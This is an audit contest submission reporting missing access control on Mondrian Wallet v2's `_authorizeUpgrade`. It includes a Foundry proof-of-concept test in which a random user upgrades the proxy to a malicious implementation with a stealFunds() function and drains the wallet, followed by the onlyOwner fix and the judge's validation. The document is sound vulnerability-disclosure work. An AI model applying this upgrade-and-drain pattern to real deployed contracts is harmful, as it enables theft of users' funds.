First Flight #19: Mondrian Wallet v2
First Flight #19
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The absence of access control on `MondrianWallet2::_authorizeUpgrade` allows any user to upgrade the implementation contract.

0x5chn0uf

Summary

The _authorizeUpgrade function, inherited from UUPSUpgradeable, is called when the contract is upgraded by upgradeToAndCall (only, as of the version 5.0.0 of OpenZeppelin Contracts).

The documentation clearly states that "Normally, this function will use an access control modifier such as Ownable.onlyOwner."

However, this is not the case here and any malicous actor can then upgrade the implementation contract and implement malicious functions to, for example, drain the proxy contract of its funds.

Vulnerability Details

  1. Malicous actor deploys a malicious version of the implementation with a stealFunds() function.

  2. Malicous actor calls upgradeToAndCall with the address of his malicious contract.

  3. Malicous actor calls the mondrianWallet call function with the malicious encoded function

Proof of Code

Paste the following malicious contract into ModrianWallet2Test.t.sol:

contract MaliciousMondrianWallet2 is MondrianWallet2 {
uint256 public constant AMOUNT = 1e18;
​
function stealFunds(address to) public {
payable(to).call{value: AMOUNT}("");
}
}

And paste the following test into ModrianWallet2Test.t::MondrianWallet2Test:

function testRandomUserCanUpgrade() public {
// Arrange
bytes32 implementationSlot = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address startingImplementationAddress = address(
uint160(
uint256(vm.load(address(mondrianWallet), implementationSlot))
)
);
​
// Act
vm.startPrank(RANDOM_USER_ACCOUNT);
MaliciousMondrianWallet2 maliciousImplementation = new MaliciousMondrianWallet2();
mondrianWallet.upgradeToAndCall(
address(maliciousImplementation),
new bytes(0)
);
vm.stopPrank();
​
// Calling stealFunds via Proxy
(bool success, ) = address(mondrianWallet).call(
abi.encodeWithSignature("stealFunds(address)", RANDOM_USER_ACCOUNT)
);
require(success, "Delegatecall to stealFunds failed");
​
// Assert
address endingImplementationAddress = address(
uint160(
uint256(vm.load(address(mondrianWallet), implementationSlot))
)
);
​
assert(startingImplementationAddress != endingImplementationAddress);
assertEq(endingImplementationAddress, address(maliciousImplementation));
assertEq(address(mondrianWallet).balance, 0);
assertEq(RANDOM_USER_ACCOUNT.balance, AMOUNT);
}

Impact

The protocol can be drained of all its funds

Tools Used

Manual review

Recommendations

Add, as recommended, the modifier onlyOwner to the function _authorizeUpgrade :

+ function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
Updates

Lead Judging Commences

bube Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of access control in _authorizeUpgrade

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.